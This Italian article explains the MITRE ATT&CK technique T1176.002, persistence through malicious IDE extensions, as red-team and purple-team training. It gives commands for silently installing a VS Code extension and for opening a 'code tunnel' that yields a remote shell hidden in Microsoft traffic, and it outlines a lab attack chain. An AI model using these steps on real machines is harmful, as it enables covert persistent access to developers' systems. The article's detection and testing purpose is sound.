Estensioni IDE Malevole: IDE Extensions (T1176.002)

Gli ambienti di sviluppo integrati moderni — Visual Studio Code, IntelliJ IDEA, Eclipse — hanno trasformato le estensioni in un vettore di persistenza sottovalutato. La tecnica T1176.002 descrive l'abuso di questi componenti software per mantenere accesso a lungo termine sui sistemi compromessi, sfruttando il fatto che un'estensione installata viene caricata automaticamente a ogni avvio dell'IDE, con i privilegi dell'utente che lo esegue.

Il framework MITRE ATT&CK colloca questa sottotecnica nella tattica TA0003 (Persistence), ovvero la fase in cui l'attaccante consolida la propria presenza superando riavvii, cambi di credenziali e interruzioni operative. L'inserimento nella kill chain avviene tipicamente dopo l'accesso iniziale, come meccanismo di ancoraggio che sostituisce o affianca chiavi di registro, servizi e task pianificati — con il vantaggio di annidarsi in software legittimo e spesso whitelisted.

La superficie d'attacco è duplice: da un lato le estensioni malevole distribuite attraverso marketplace pubblici o side-loading diretto; dall'altro l'abuso di estensioni benigne come VSCode Remote SSH per stabilire tunnel persistenti (fenomeno noto come IDE Tunneling). Il gruppo Mustang Panda ha dimostrato l'efficacia operativa di questo secondo approccio, sfruttando la funzione di reverse shell embedded di VSCode tramite il comando code.exe tunnel per eseguire codice e distribuire payload aggiuntivi, aggirando controlli di rete grazie all'uso di infrastruttura Microsoft legittima.

In un ingaggio red team, la simulazione di T1176.002 parte dalla selezione del target: un endpoint di sviluppatore con VS Code o JetBrains installato è ideale, ma il vero valore emerge quando l'IDE è presente su workstation non-dev o, peggio, su server di produzione dove non dovrebbe esistere.

Per VS Code, l'installazione silenziosa di un'estensione via CLI è banale:

code --install-extension publisher.extension-name --force

Il flag --force sovrascrive versioni esistenti senza prompt. Un'estensione custom richiede solo un package.json con proprietà activationEvents impostata su onStartupFinished e un extension.js che esegue il payload. Il caricamento avviene a ogni avvio dell'IDE con i privilegi dell'utente, senza toccare Run keys o servizi. Per il packaging locale si usa vsce (open source), il tool ufficiale Microsoft che genera il file .vsix installabile via code --install-extension percorso.vsix.

La variante IDE Tunneling è quella impiegata da Mustang Panda e merita attenzione dedicata. Il comando code tunnel attiva un canale remoto ospitato sull'infrastruttura Microsoft (tunnel.visualstudio.com), autenticato via GitHub o Microsoft account. Da una macchina compromessa:

code tunnel --accept-server-license-terms --name payload-host

L'operatore red team può poi collegarsi da qualsiasi browser al portale VS Code Web e ottenere shell interattiva sul target, con traffico che appare come normale attività verso servizi Microsoft — un enorme vantaggio in ambienti con egress filtering.

Per JetBrains, la logica è analoga ma il meccanismo cambia: i plugin risiedono in %APPDATA%\JetBrains<Product>\plugins su Windows e ~/.config/JetBrains su Linux. Un plugin malevolo scritto in Kotlin/Java sfrutta le estensioni ApplicationComponent o StartupActivity per l'esecuzione automatica.

In laboratorio, catene realistiche includono: (1) phishing con documento che scarica un .vsix da repository controllato; (2) code --install-extension da script PowerShell offuscato; (3) attivazione tunnel per C2 persistente; (4) spawn di node.exe o powershell.exe come processi figli dell'IDE per attività secondarie.

Per il testing difensivo, tool come Atomic Red Team (open source) includono test specifici per la persistenza via estensioni. La misura del successo, in ottica purple team, non è l'installazione — sempre banale — ma la capacità del SOC di distinguere il traffico tunnel legittimo da quello ostile e di rilevare IDE su host dove non dovrebbero esistere.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.